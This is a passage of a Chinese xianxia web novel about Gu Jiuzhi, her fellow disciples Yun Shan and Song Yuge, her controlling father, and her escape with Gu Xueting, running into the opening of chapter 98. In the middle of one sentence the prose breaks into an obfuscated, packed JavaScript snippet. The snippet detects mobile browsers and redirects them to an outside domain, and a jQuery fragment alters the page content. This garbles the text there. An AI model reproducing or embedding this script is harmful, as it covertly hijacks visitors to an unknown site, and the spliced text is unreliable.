云山总是疑惑:师姐的脑子有点问题,怎么办? 顾九枝也总是疑惑:师弟太无趣了,怎么办? 宋雨阁根本就不想搭理他们俩:好烦。你们都走,烦死了,别再来烦我。 顾九枝逮不到云山,宋雨阁又话少。她更觉得无趣,于是和宋雨阁一起到处找小动物养着玩儿。 云山看着满院子的飞禽走兽,觉得他们俩都有点不正常。 他找宋雨阁理论,却吵不过,反倒被宋雨阁撒了一身的棠花。 傍晚,宋雨阁出去值守。云山终于逮到机会反击,他将顾九枝叫来,一脸可怜地向她诉苦。希望顾九枝可以与他统一阵线,一起谴责宋雨阁这个连野鸡都收养的混账。 顾九枝心说,这院子里的小动物也有我救下的啊,你找我可不是找错人了吗? 她拍拍云山的脑袋,摸狗似的,干巴巴地安慰道:“云山,师弟,我们要成全雨阁师弟的一片善心呀。至于你,习惯就好啦!” 然后转身走了。 云山很绝望,恰好那只野鸡迈着悠闲的步伐走来,尖利的嘴巴撞在云山的手背,当即血流。 云山勃然大怒,为了报复宋雨阁,他偷偷架火把那只鸡给烤了。 恰好碰到宋雨阁修习回来,又累又饿,张口就骂他:“云山你脑子被驴踢了?这鸡身上能有多少肉?你就不会再养几天吗?” 云山啃着鸡腿,大惊失色地问他:“原来你养鸡真的只是为了吃肉?!” “不然呢?养着玩儿吗?你在想什么呢?”宋雨阁在他对面坐下,“另一只鸡腿呢?给我,快饿死了。” 云山嘿嘿笑了:“我还以为你又是为了给它疗伤……鸡翅别吃了!等会给顾九枝送去,好几天都没见她了。” 宋雨阁点点头,又轻声嘀咕:“我知道。我这几天也没见过她,不知道在忙活什么。” 片刻后,云山将一对鸡翅膀和两道小菜打包好,又挑了些新鲜的野果,转身出了院门。 他知道顾九枝不喜欢吃长老院的小灶,所以每次下厨都会打包一份饭菜给她送去。 然而,他这一趟没见到顾九枝。 顾九枝被长老院留了将近十日,忙得昏天黑地,为即将到来的世家大考做准备。 三人很久没见面。再相见时,便是在大考的考场里,宋雨阁恰好就坐在她身后。 考试结束,宋雨阁叫住了她:“晚上云山要烤肉,一起吃?” 顾九枝累得黑眼圈都出来了,本想回去睡一觉,闻言还是颔首答应。 当晚,顾九枝吃到一半,还是没抵住困意,靠在椅子里就睡了过去。 云山和宋雨阁对视一眼,无奈叹气,将她搬到里屋的竹榻。 顾九枝偶尔来午憩,这竹榻算是她的专属。 宋雨阁将人放好就懒得再管了,回卧室睡觉。到底还是云山找了一张薄毯,盖在熟睡的顾九枝身上。 这薄毯是宋雨阁亲自挑选的,浅粉的底,开满明艳的牡丹。 宋雨阁很喜欢,偷偷觉得这简直就是全天下最好看的东西。 可是顾九枝也喜欢。宋雨阁纠结很久,终于忍痛割爱,将牡丹薄毯让给她用。 他不舍得,可是顾九枝更重要。 这是他和云山早就达成的共识。顾九枝最重要。 哪怕有一天所有人都必须死,他们也会保护她到最后一刻。 两个月后,宋雨阁为了救一只小松鼠,不小心踩到了同门师兄的药田。 师兄叫了一帮魁梧兄弟们,把宋雨阁堵在松树林里打了一顿。 云山和顾九枝听说这件事后当即勃然大怒,撸起袖子就要约战,誓死也要为宋雨阁报仇。 彼时宋雨阁躺在床上,鼻青脸肿。 “谁敢欺负我们雨阁师弟!” “先从我们的身上踏过去!” 顾九枝摸着他的头毛,慈祥道:“师弟,你且安心去。师姐我一定会为你报仇的。” 云山走上前去,贴心地为宋雨阁拉高了被子,随后双手合十,轻声道:“师弟,你安心地闭眼吧。” 宋雨阁简直没眼看这俩蠢货,捂着脸痛苦地翻了个身,朝床榻里躺着,不想说话了。 顾九枝和云山当即就与师兄们约战。他们以少敌多,勉强打了个平手。 云山的脸肿了一块,顾九枝的左臂淤青。 两天后的晌午,桃花林中,花雨零落,芳草青嫩。 两人盘着腿画图推演,分析这场实战所暴露的各自的弱点。 云山高声叫嚷:“顾九枝,你的动作就不能再快一些吗?!你是不是根本就没认真?” 顾九枝气势比他还足:“是你出手莽撞,不懂策略,也不配合我。” 云山顶着一张肿胀的脸,忿忿不平:“这次是我失误。等着吧,下次再见他们几个,我一定要报仇!” “世家内部禁止私斗,云山,到此为止吧。”顾九枝翻了个白眼,“待会儿我们还要去祖师堂罚跪,你省点力气。” 那时宋雨阁正在一棵松树上,持着锤子和木板叮叮当当敲击着,给那只受伤的小松鼠做木屋。 他很执着地去救,去照顾这只受伤的小松鼠。为此不惜得罪院判,连习堂也逃掉了。 明日罚则下来,他估计要去后山扫地。 “也不知道他怎么搞的,成天就遇到一些受伤的小动物。”云山不明白,“为什么他要救呢?难道松鼠的肉很好吃吗?” 顾九枝叹息:“云山,你闭嘴吧。” 云山抬眼看着树枝间的宋雨阁:“照顾松鼠时这么有劲头,为何见了姑娘又一言不发了?这么沉闷无趣的性子,也不知道哪位瞎了眼的姑娘才看得上他。宋雨阁,你就做好孤独终生的准备吧。” 顾九枝不想再理会他,转身走了。 云山幽幽道:“原来做松鼠这么好啊,那我也变成松鼠好了。宋雨阁,你能不能给我也做一间木屋?不瞒师弟,我的房子最近有些漏雨。” 宋雨阁在枝桠间忙活好一阵子,终于结束。 他身姿轻灵地跳下树来,看着云山殷殷期盼的双眼,面无表情道:“云山,你有病吧?你这个脑子是怎么在大考中拿第一的?” 世家大考,云山笔试第一,顾九枝武试第一。 云山挑眉道:“我天资聪颖。师弟,这次我和顾九枝可是帮你狠狠报了仇,说吧,要怎么样感谢我们俩?” 宋雨阁没吭声,很嫌弃地看了他一眼,转身走了。 云山无语:“一个个都不理我,给你们惯的。” 三天后,云山的罚跪终于结束。 他一脸苍白地回了小院,大睡一场,醒来后就见院子石桌上放着一个精巧的平安符。 宋雨阁蹲在树下喂兔子,头也不回道:“从祖师殿取来的平安符,你和顾九枝一人一个,丢了也别找我要。” “哟,”云山挑眉道,“很难弄到手吧?” 宋雨阁轻哼道:“也就那样。我往那儿一站,人家就乖乖奉上来了。” 云山笑着骂他:“你就吹吧。” 宋雨阁翻了个白眼,抱着兔子出去了。 云山低头摆弄着那个护身符,一会儿挂在腰间,一会儿又贴身放好,怎么都不满意。宋雨阁这糟糕的审美,取个平安符还是粉色小花的,戴出去他都怕人笑话。 宋雨阁不会是故意的吧? 片刻后,云山轻声笑道:“嘴硬心软,眼光也糟糕透顶。此人竟没一点长处,真是完蛋。” - 顾九枝没有太多属于自己的时间。 她天赋出众,身上背负着很多人的期望,可这并不是什么好事。 满足了这些期望,下一次,那些人对她的期望就会更高,希望她能做得更好。 可她快要喘不过气了。 长老院经常给顾九枝布置难度很大的课业,顾九枝总是伏案到深夜,才勉强完成。 世家大考之后,顾千城将她叫到青霜阁。 顾九枝心怀期待,她在大考中取得了武试第一,父亲应该会褒奖她的吧? 虽然她的笔试略逊于云山。 云山的解题风格偏向于狠辣,理智,杀一人而救百人,是长老院最喜欢的那种性格。 相比之下,顾九枝的风格就不太能入他们的眼。 她谁都想救,各方面都想照顾。不懂取舍之道,想要的太多,最后反而什么都留不下。 长老们对她的评语是太过“优柔寡断”。 顾九枝不服。想救人,有错么? 人命难道也有高低贵贱之分,还要分个该救不该救? 推门进屋,顾千城端坐在堆满公务的书桌后,英朗的眉眼中是掩不住的锐利之意。 这个男人身居高位太久,一举一动都带着某种涌动的压迫感。渡真世家共三姓,而顾氏是其中最为弱势的一方,在许多年前甚至险些被赶出渡真的核心。顾千城花费了十几年的时间,才削弱了另外两家的实力,让顾氏成为渡真的掌舵人,他不会允许权力旁落的。 下一任家主,必须还是顾家人。所以顾千城在顾氏子弟中挑选出包括顾九枝在内的十几个人,让他们自由竞争。 最后胜利的,便是下一任家主。 顾九枝曾经被一个性情狂躁的同族暗杀过,不过暗杀失败了,她那次重伤躺在床榻上,顾千城忙完事务才抽出空来看她。 她本以为顾千城是来关心自己的,小女孩的委屈涌上心头,眼里一汪泪水,结果就听他淡声问:“是阿枝亲手杀的他吗?” 顾九枝不明所以,诚实又惊慌地承认:“父亲,我不是故意的,他当时差一点就杀死我了……” 顾千城点点头,眼中露出满意的神色,他宽厚温暖的手掌摸了摸顾九枝的脑袋,“你做得很好。” 原来他只在乎这场暗杀中的获胜者是谁。 他玩弄整个渡真世家轻松得如下一盘棋,连自己女儿的心思都玩弄于股掌之内。此时青霜阁中,两人刚一对视,就轻易地唤起了顾九枝心底深处的恐惧。 顾九枝站在地灯旁,与顾千城隔着较远的距离,便已经不敢再上前半分。她有时觉得眼前的男人冷酷残忍,有时又从他的眼睛里看到对自己的疼爱。 这很奇怪,顾九枝总觉得这一切都是虚假的,没有什么是真实的,或许再过十年她也猜不透父亲的心思。 “阿枝,”顾千城将她的课业摊开,露出一个宠溺又无奈的笑容,“策论完成得很好。可是底下这写的什么字?” 顾九枝没有看,她清楚地知道,纸张的最下方是八个大字:“枯藤老鸦,扰人嘎嘎。” 是她亲手所写,旁边还画了只掉毛的老乌鸦,也不知是在讽刺谁。 “写着玩的,父亲,以后不会了。” 顾千城的眼里有点新奇的笑意,像是看到雏鸟活出了叛逆精神一般,可惜,这是微不足道的反抗。 不过他却并没有出言斥责她的无礼,只是饶有兴趣地轻声问:“阿枝,在想什么呢?” 在想什么呢? 顾九枝的指甲陷入掌心里,她想干什么? 顾九枝被重担压得太久了,她心里有太多憋闷、委屈想要向眼前的父亲哭诉,渴求他的安慰。她也不是生来就坚强,生来就无情,她也像飞累的雏鸟那样,渴望能够暂时栖息在父母的羽翼庇佑之下,获得短暂的安宁。 可是她知道,她的手脚早就被铁链困缚住了,她必须带着镣铐,在渡真世家,被他们驯服成“该有”的样子。 而那双温暖羽翼的下方,已经有了顾景年,容不下她。 她的辩解与哭诉都毫无意义,并不会给现状带来任何改变。 反而可能会被指责为软弱、不堪大用。 于是顾九枝用力闭了一下眼,将所有的话都咬碎了吞进肚子里,转头看窗外雨色,装作若无其事道:“想去外面玩,想吃糖葫芦。” 顾千城眼中的神色暗下去,他并不想听到这个回答。 说起来奇怪,他既想密不透风地控制她,又期待她一次又一次做出反抗。 顾千城对她的顺从感到些许失望,不过还是不放弃地埋下一颗种子。 这颗种子将在许多年后发芽,然后破土而出,将长老院搅得天翻地覆。 那里迂腐不堪的人太多了,反对顾氏的老东西也太多,这些人活着只会给顾氏增加障碍。 但是现在还不是时候,顾千城还需要那群老妖怪来稳住其他氏族。 他计划用顾九枝的手去除掉长老院。 所以他轻声道:“阿枝,你要想。” 想自己,想众生,想天地。 去想,阻碍你的是什么,你要的究竟什么。 顾千城再一次在棋盘上,落下一颗棋子。 他让一个聪明的小女孩开始思考。 最后,他又公事公办地忠告:“阿枝,你是要成为渡真家主的人。以后,云山和宋雨阁都会是你的辅助。” 毫不意外的回答。长老院也说过类似的话:渡真需要你这样的压舱石。 顾九枝听懂了,她是渡真的象征,是平衡世家内部各方势力的一杆秤。 却唯独无人把她当作一个独立的人。 “与同门弟子私斗这件事,我就不再追究了。”顾千城将书本合上,递给她,低声道,“但是,下不为例。” 顾九枝点点头:“我明白了,父亲。” 回去的石子路清幽静美,花瓣飘飞。 顾九枝慢悠悠地走着,腰间的平安符随着动作一荡一荡。 在这个渡真世家,没有人可以看到她,也没有人知道她在想什么。 连她自己都不知道。 云山和宋雨阁是渡真收养的孤儿,对渡真充满了天然的感激与眷恋之意,不会理解她的处境。 即便他们关系再亲密,这一点分歧也是不可忽略的。 再好的朋友,彼此之间也有秘密。 顾九枝很聪明,她知道就算是微小的隔阂,也迟早会形成一道无法逾越的鸿沟。 所以,珍惜现在。 可是顾九枝对眼前的现状感到厌倦,她渴望改变。 其实未来充满不确定性,她无法保证改变之后会变得更好,但是她会尝试。 挣扎、反抗、永不妥协,结果要么胜利,要么死去。 该怎么办呢? 或许她也可以像父亲那样,在名为渡真的棋盘上,落下属于自己的棋子。 - 顾九枝最好的朋友小莲死了。死在除妖的途中,胸腹都被利爪撕开,血流遍地。 她听到这个消息时连茶盏都摔碎了,反应过来后,颤着声音非要去看她一眼。 可是渡真内部却不怎么当回事,只将那个女孩儿草草葬下。 小莲是个眼眸明亮的女孩儿,笑起来颊边还有酒窝。她会趁夜溜下山,去给顾九枝买一支香喷喷的洒满糖霜的糖葫芦。 顾九枝觉得很稀奇,小莲就笑她:“你连糖葫芦都没吃过呀?真可怜。” 顾九枝小口咬着糖葫芦,眼睛眨啊眨。 其实糖葫芦不太好吃,在纸包里捂得太久,糖霜化掉,已经有些腻了。 可她眉眼弯弯,就是喜欢。 比小厨房里精心制作的膳食好吃多了。 为什么呢? 顾九枝猜想:或许因为小莲是真心待她,所以,小莲奔波百里给她捎回来的糖葫芦也好吃。 现在小莲被妖杀死了,顾九枝也觉得心里好像被人挖空了一块。 可是长老院却对她们嗤之以鼻,还斥责顾九枝的感情用事。 顾九枝垂首听着他们的训斥,没有反驳。 那天晚上,她回到住处,在不燃一盏灯烛的漆黑房间里,很压抑地痛哭出声。 没有人安慰她。她哭了很久,然后默默擦干了泪水。 手心在脸颊揉了揉,是她自己给自己的安慰。 她发誓以后再也不会哭泣。 后来,顾夫人生了重病,药石罔效。 顾景年跪在榻边崩溃大哭,鼻涕眼泪糊了满脸,嗷嗷嚎叫,全然是小孩子撒泼似的哭法。 顾九枝却站得远远的,面色漠然。 她觉得顾景年是个无可救药的蠢货。 骄纵、跋扈,修为低下,却不知天高地厚。 她怎么会有这样的弟弟? 众人见状窃窃私语,斥责她竟然都不落泪的,简直冷血。 一点都比不上顾景年。 顾九枝神色淡淡,心说跟一个蠢货有什么好比的。 可她耳中听着众人的指责,却又觉荒唐得可笑。 为什么要落泪? 当初小莲死的时候,你们不是告诫我,不应该感情用事的吗? 为何顾夫人生病时,你们又怪我太过冷漠? 小莲尚且真心待我,可顾夫人呢? 她的爱和耐心全部留给了那个不中用的顾景年,却何尝真心爱过我一天。 顾九枝在窃窃私语中转身离开。 自始至终,她连眼眶都没红。 - 一年后,渡真世家攻入冽雪山谷。 顾九枝其实不想动手,没必要对人家赶尽杀绝。 于是,她站在冽雪山谷的山道上,生平第一次向长老院提出了疑问。 她活了二十多年,从不曾对任何人正面反抗过。一番话说得颠颠倒倒,紧张却无比坚定。 顾九枝觉得自己做得没错,是他们错了。 长老院的人眯着眼看她,饶有兴趣。 云山不住地给她使眼色,眼皮子都快抽筋了,神情狰狞,只求她快快闭嘴。 顾九枝顶着这样的目光,执着地拒绝了长老院下达的命令。 然后,她被暗袭,丢在溪边。 或许当时长老院已经想要放弃她了。 一颗生出了自我意识的棋子。 若非宋雨阁和云山坚持要来冽雪山谷寻找她,说不定渡真世家就真的以为顾九枝死了。 她可以去任何地方,像是随风散去的蒲公英,无依无靠,却坚韧地自由地飘荡在这个世间。 她能做一辈子的“金枝”,想想就好开心。 可是宋雨阁太“爱”她了。 这是好事,也是坏事。 他还是来找她。那晚的雪光很亮,她一步一步迟缓地走向渡真子弟们,如奔赴一条没有归途的黄泉路。 回头看,她的雪生还孤零零地站在酒馆前。 或许他们在某种意义上也算是同病相怜。 一个从未感受过亲人的爱护,另一个却永远失去了亲人的爱护。 顾九枝哀哀地望着他。 她不顾众人的阻拦,执意将雪生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926823|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带回渡真世家,给他取名为顾雪庭,记入顾氏宗谱。 为的就是不让渡真的人随意欺负他。 云山听到顾九枝给他起的新名字,还幸灾乐祸地颠颠跑到宋雨阁面前说:“你完喽,你再也不是她最疼爱的小师弟了。” 宋雨阁那时候刚和顾九枝吵完架,脸色很是难看。 他将冽雪山谷的事,以及顾雪庭的来历讲给云山听。 云山脸上的笑意逐渐收敛,听到最后,面上已经都是杀意。 他低声说:“这个人不能留。” 宋雨阁颔首:“但是也不可以做得太明显。” 他们十五岁时被选拔为长老院的手下,一言一行,皆遵从长老院的吩咐。 监视顾九枝,就是他们的任务之一。 许多年过去,对他们来说,顾九枝依旧很重要。 但是长老院的命令也重要。 顾九枝永远待在渡真就是最好的局面,这样对谁都好。 必要时,他们甚至可以牺牲顾九枝的意愿。 他们相信,顾九枝只是被人迷惑了心智,才做出那种不理智的行为。 他们只是为了顾九枝好。 - 顾九枝很久以后才知道,顾雪庭来到这里就是为了复仇。 她不动声色,装作什么都不知道。甚至为了给顾雪庭续命,对他的灵脉出手。 云山知道这件事后,冒着风雨闯进青霜阁,怒斥她在养虎为患。 他说得从来都没错。 可是顾九枝无所谓,她甚至轻笑着想:顾雪庭会什么时候动手呢? 会不会杀掉我呢? 也不知道阴曹地府有没有糖葫芦卖。 小莲该在那里等着自己吧? 她一定是见到了香喷喷的糖葫芦摊子,被馋得走不动道了。 真是个贪吃鬼呀。 顾九枝隐隐期待着,想要知道顾雪庭将会如何做。 她终于在等待死亡的时候体会到了活着的乐趣,哪怕只有一点点。 云山苦口婆心劝顾九枝,将顾雪庭赶出渡真。但顾九枝不搭理他。 云山快被她气死了,但又不能把她怎么样。 于是只好授意别人,去暗中欺负顾雪庭。 - 顾雪庭不喜欢在渡真待着,因为他总被人欺负。 他很弱,打不过,也不会说脏话,别人“舌灿莲花、唇齿留香”的时候,他憋得脸红也只骂出一句“混蛋”、“蠢货”,反遭笑话。 但他不恨别人,只是对自己的弱小而感到愤怒。 顾九枝一边给他上药,一边笑他:“连那些弟子都打不过,你还怎么做人师叔?” 顾雪庭不服:“那你教我。但是我们不要在这里修炼了,这里太无趣。” 顾九枝眨眨眼:“不在这里?” 明媚的日光照过来,顾雪庭的眼中有点点笑意:“我们出去,去山村小镇,去边寨荒野,去找那些祸乱人间的妖鬼。” 顾九枝很奇怪:“你不想打败那些总欺负你的人,为自己报仇吗?” “那有什么意思?”顾雪庭袒露着一身的伤,不屑道,“我们学剑学咒,难道只是为了打架吗?” “自然不是。”顾九枝想了想,选了个最稳妥的说法,“我们是为了守护世人安稳,百姓喜乐。” 顾雪庭嗤笑道:“既然如此,那你可知百姓们此时有何乐,有何忧,又有何惧?” 这个问题却实在难住了顾九枝。 “你什么都不知道,却大言不惭地说是为了世人安稳。可见你们这些世家的所谓铭言,不过是一句无法兑现的空话。” 顾九枝将伤药放好,沉默片刻,道:“你是这样想的吗?” 顾雪庭继续道:“树林里养不出鹰。你成日被困在这片漂亮的山山水水里,连山外的世界是什么样子都没见过,又怎么去做一个世家的家主?啊不对,与其说你是家主,倒不如说是长老院的傀儡。” 他轻易就点破了顾九枝现在的处境,毫不客气。 顾九枝听了也没有生气,只是问道:“那依你说,该怎么办?” 顾雪庭笑道:“很简单啊,你跟我走,我带你去看最真实的世间。” 两天后,顾九枝丢下一切,和顾雪庭一起离开渡真世家。 出门的那一晚,恰好轮到云山夜巡。 花雨林中,雀鸟惊飞。 顾九枝换了一身轻装,迎着澄亮的月光,纵身奔跑在飘散的花雨中。 她身姿轻灵,衣裙飘拂,宛如一阵恣意的风。 云山气急败坏地在后头追,他低声喊:“顾九枝!你这没良心的又想做什么?!” 顾九枝回过头:“云山,今后门内的一切事务都交给你和宋雨阁了。” 云山听得心都快炸了,怒道:“我们怎么应付得了?!” 他提速追去,终于在顾九枝将要闯出山门的那一刻,拦住了她。 顾九枝站在花树下,气息微乱,脸上却洋溢着明亮的笑容。 她轻声说:“师弟,我想去外面看看,你就放我走吧。” 既不是恳求,也不是命令。 她的眼中只是纯粹的笑意,仿佛这世上再没有什么事值得她去烦心。 云山看着她眼里的亮光,劝阻的话忽然就说不出口。 他拧起眉:“两个月,不能再多了!” 顾九枝故意气他:“师弟,我这辈子或许都不回来了,怎么办?” 笑声清脆如银铃,在花雨林中荡开。 云山气得直跺脚,“那你就永远别再回来!我和宋雨阁再也不会叫你师姐了!哼!!!” 转身离开。 走了两步,云山又忍不住去看顾九枝。 她走出山门,与等候已久的顾雪庭会合。 两人并着肩,离开渡真,步伐轻快,蹦蹦跳跳。 宋雨阁居住的小院在这附近。 他早就察觉到动静,此时便披衣追出来,头发微乱,不由烦躁道:“大晚上的你鬼叫什么?” “顾九枝竟和那个男的跑了!还手牵着手!” 宋雨阁转头瞥了一眼,早就不见人的踪影。他懒洋洋道:“那你为何不追了?” 云山一怔,闷闷的没说话。 片刻后,他才一摆手:“瞧她开心的那副样子……算了,这段时日,我就先替她顶着。” 反正他们三人认识这么多年,从来都是互相迫害,又默契地相守相护。 早就不差这一次。 宋雨阁打了个哈欠,转身回小院补觉,边走边说:“反正我什么都没看见,也没听见。” 云山纳闷:“你不帮我打理族中事务吗?” 宋雨阁更纳闷:“是你答应的师姐,又不是我。关我什么事?” 云山一听,还真是。 “那你至少帮我一下啊……” 宋雨阁趁他还没说完,扭头就回了小院,咣当一声响,紧闭院门。 云山气得好几天不理他。 - 顾九枝和顾雪庭一路向西,专往荒僻、穷苦的地方走。 他们去村镇里除妖,救助百姓,施舍粥饭。闲暇时他们也换上轻装,挽起袖子,和村民们一起除草、耕田,给小孩子们做一些解闷的小玩意儿。 村民们感恩他们的善举,虔诚问道:“敢问,两位道君叫什么名字?” 顾九枝本就不打算告知自己的姓名与来历。他们这一路隐姓埋名,为的又不是叫人感念在心。因此正要开口,说些套话,敷衍过去。 谁料,一直低头锄草的顾雪庭却直起身,擦了擦额头的汗水,轻笑一声:“我叫雪生。” 夕阳照过来,将村道渲染得光辉万丈。 他的眼眸里闪着明亮的光,脸上笑容真诚且美好。 顾九枝眼睫一颤,也随之轻声道:“我叫金枝。” 这一刻,他们的声音都是同样的轻。 像是在轻声述说着,一个只有他们两个人知道的小秘密。 顾雪庭在院子里种了许多小秧苗,细嫩柔弱。 邻居家的小孩子骑着木马车过来,在院子里玩闹,顾九枝垫着脚去剪藤上熟透的葡萄,同时笑吟吟和小孩子讲话。 院子里的地不是很平,小孩子一个不留神,木马车往前滑了一点,轧住了顾雪庭的小秧苗。 小孩子很紧张地不敢动作,顾九枝放下剪刀,安慰他没事的,又挑了两串紫葡萄叫他带回去给家人们吃。 傍晚,顾雪庭帮助村民们除草回来,路过菜地时无意看了一眼,也没说什么,只将死掉的秧苗都丢掉。 为防止意外再发生,他在小菜地的边上做了个小隔断。 做完这一切后,他去冲了个澡,坐到饭桌旁,无所谓地继续给她夹菜。 顾九枝猜不透他的心思,偷偷抬眼看他:“那些菜苗……” 顾雪庭顿了一下,轻声说:“是你亲手做的吗?” 顾九枝没吭声。 顾雪庭就笑:“既然不是你亲手做的,何必为此感到抱歉?” “我也有责任。”顾九枝还是道,“对不起。” 顾雪庭握着筷子的手也是一顿,轻声道:“原谅你。” 不只有这一件事,还有在冽雪山谷的事情。 顾雪庭很聪明,他在渡真生活多年,且有心探查,早已明白当年真相。 顾九枝是无辜的,他不应该去迁怒她。 两个人各怀心思,却又都心照不宣地选择暂时遗忘。 若是顾雪庭永远这样沉默下去,从此便风平浪静。 顾九枝已经在筹谋长老院的事。过不多久,她就可以全身而退,与顾雪庭、不,与雪生一起,策马御剑,游遍世间。 这种远离尘世纷扰的田园生活,她很喜欢。 美梦也有醒来的时候。两个月后,他们回到渡真。 长老院一直明摆着要对顾雪庭下死手,却都被一股无形的力量阻挠住了。 他们不知道,顾九枝早已悄无声息地在长老院安插了数个暗桩。 只等时机到来,搅个天翻地覆。 她不想要再做傀儡了,她想做金枝。 她想出去,去边陲小镇,听青山冷雨,和淳朴热情的村民们一起耕田、种花。 她不想整日埋头在堆积的公务。 她想住在长满花果藤的小院子里,荡秋千、吃葡萄。 听雪生手持玉笛,吹奏嘹亮的一曲。 顾九枝很期待这样的将来。 她也很感激谢长生。他从不掺和自己的任何想法与决策,只是带着她从渡真出逃,向她展示了活着的另一种可能。 可是后来,谢长生害得太多渡真子弟自相残杀。 直到半年前,宋雨阁的死讯传来。 云山气得当场就摔碎了一套上好的茶具,夺门而出,就要去金璧城杀了谢长生。 顾九枝闭上眼,终于没有任何理由再保他。 至此,两人彻底决裂。 青霜阁阵法运转,雨丝将光芒晕染得模糊。 顾九枝没有阻拦云山。 她只是缓步走到窗边,探出手,心中静得不起一丝涟漪。 外面斜雨冷冷,微弱却连绵的风从她张开的指缝流过,去往不知名的所在。 她蓦地想起从前,在冷雨潇潇的青山,两人背着竹篓,要去山里挖些春笋。 上山途中,顾九枝一直念叨着昨日听来的趣事,走在前方的顾雪庭却忽地攥住她的手腕,止住了她喋喋不休的话语。 他静默一瞬,偏过头,眼里带着温柔的笑。 “你听,这是风。” 顾九枝眨眼,抬眸望去。 只见万枝摇曳,风声如涛。 风是自由、无拘无束的。 风可以去到任何地方。 顾九枝也是。 98. 护身 外头的雪势渐收,细密的雪静谧飘落,宛如撒盐。 像渡真和永安江氏这般世家,要想力排众议,将当年的事迹重新翻出来剖白于天下,不知要面临多少困难。 叶清圆看着眼前两人,她们的面容略显憔悴苍白,可是眼中笑意却柔和且坚定,安静地注视着人的时候,有种足够颠覆一切,也宽宥一切的感觉。 恰在此时,院外匆匆脚步声传来,一名渡真子弟快步走至廊下,低声禀告道:“家主,那道封印阵法出了些问题。” 顾九枝淡声道:“被困在阵法当中的人如何了?” “没有受伤,却神情恍惚,识海混乱,应当是受了阵法的影响。”那名子弟顿了一下,“阵法应该是被谢长生动过手脚,我们的人现在根本无法靠近。” “嗯。”顾九枝顿了一下,却不见他有下文。 那名弟子站在廊下,也不知道这阵沉默代表着什么。他垂首道:“家主?” 顾九枝的指腹摩挲着杯盏,像是犹豫着什么,片刻后还是起身道:“我去看看。” 她将茶杯放在桌上,对叶清圆和江云初道:“二位先在此等候片刻,我去去就回。” 说罢,两人踏雪快步走出院门。堂中只剩下叶清圆和江云初。 叶清圆在她身旁坐下,瞧她脸色苍白,神情憔悴,不由担忧道:“云初姐姐,你还好吗?” “嗯,还好。”江云初抬起眸,脸上有点浅淡的笑意,“清圆,你这段时日过得怎么样?和谢公子相处得好吗?” “嗯。”叶清圆轻声道,“云初姐姐,怎么不见许大哥呢?” “他还在永安。”江云初笑了笑,“我这次带人来呢,族中其实有许多长辈都持反对意见的,包括我的父亲。明竹性情温和,又很会安慰人,他留在永安,就是要安抚住族里的长辈们。” 叶清圆眼睫轻颤:“即使在金璧城打伤你们的人正是谢氏族人谢长生,你们也依旧坚持将这件事做下去吗?” 江云初温和地望着她,伸手替她将一缕碎发挽至耳后,笑道:“就像你明知谢尽芜与谢长生暗中有接触,甚至可能密谋伤害我们。你也依旧坚定地选择了他,不是吗?” 叶清圆眼中露出惊讶之意。 “因为你我都知道,错不在他们,而在我们。” 江云初笑道:“我是江氏家主,在渡真世家这样的庞然大物之下求生,有许多事我亦是无奈。可是这种受制于人的局面、这场仇恨延续到今日就该收场了,我们选择妥协,选择蒙住眼睛已经不妥,却不可以让我们的后辈也活在是非颠倒之中。前辈们忍气吞声自是有他们的考虑,可到了今日,连我们也要一直躲在后面不出声吗?” “清圆,人生在世,有所为,亦有所不为。纵使要遭受世人的唾骂、族中长辈的指责又如何?我江云初从小到大什么事情没经历过,难道还怕承担责任吗?” 她的眸中又现出那般柔和且坚定的光芒,恰如那晚在初阳镇半山的妖宅中,她踩着满地的清辉与火光走来,发髻银簪清亮如水。 叶清圆久久凝望着她,轻声笑道:“云初姐姐,你一点都没有变。” 江云初挑眉道:“哦?我瞧你倒是变了许多。从前还有些病殃殃的模样,如今看来个子高了,脸色也比之前红润了不少。怎么,难道谢公子做的饭特别好吃吗?” “特别好吃。”叶清圆笑道,“改天我们一起尝尝嘛。” 江云初含笑看她,良久后才道:“清圆,你真的让我刮目相看了。” “为什么这么说?” 廊外冷风吹过,江云初受不住地轻咳起来,抬手倒了杯热茶,喝了几口:“其实最初见到你的时候,我和明竹都认为你是小孩子心性,头脑一热才要跟着我们的。” “还记得在青蔓镇的时候吗?我为了历练你,派你去一个长满了妖藤的地方。” 叶清圆点点头。 “那是我和明竹一起想的主意,就是为了让你知难而退,趁早回去初阳镇,不要再参与我们的行程。”江云初坦诚道,“说得难听一些,我们都希望你会失败。” “可是你成功了,在无人援手的情况下。” 叶清圆笑:“你们很意外吧?” “嗯,也有些失望。”江云初轻声道,“我们还是不太想带你一起,毕竟……那时我们已经在暗中调查谢尽芜的身世,不方便有其他人参与进来。” “调查他?” “对。”江云初承认,“明竹与谢尽芜相识已有两三年的时间,他一开始并未注意到这个问题,只知晓谢尽芜曾是希夷殿的二殿主。而且谢尽芜他向来孤身来往,沉默寡言,明竹其实也并不太了解他。” “直到有一次,我族中有位长辈无意间见到了谢尽芜,竟惊骇得险些当场昏倒过去。” 叶清圆淡声道:“他曾经参与追杀谢尽芜。” 江云初闭了闭眼:“是。大概十四年前,在那处避世的草庐中,那位长辈亲眼看着青松提剑割舌,才放心地离开。将要出门之际,他见到了归家的谢尽芜。” “所以我才会心生疑惑,反复询问族中长辈到底发生了什么事,就这样慢慢追查,终于查到了渡真世家,查到顾九枝,查到了冽雪山谷。” 江云初抬眼道:“我们都知晓与谢尽芜之间必定有场决断,只希望这一天来得越晚越好。清圆,有你待在谢尽芜的身边,恰好可以拖住他的脚步。” “也幸好,经过一段时间的相处,谢尽芜对你并没有……很大的恶意。” 她这话说得勉强,实则也有些心虚。 叶清圆回忆一瞬,不禁讶异。那时的谢尽芜对她的好感值还很低,甚至对她心生防备与敌意。而江云初就这么放心地让叶清圆与他独自相处,去探查金璧城的槐妖。 “你们就不怕他一时兴起,杀了我吗?” 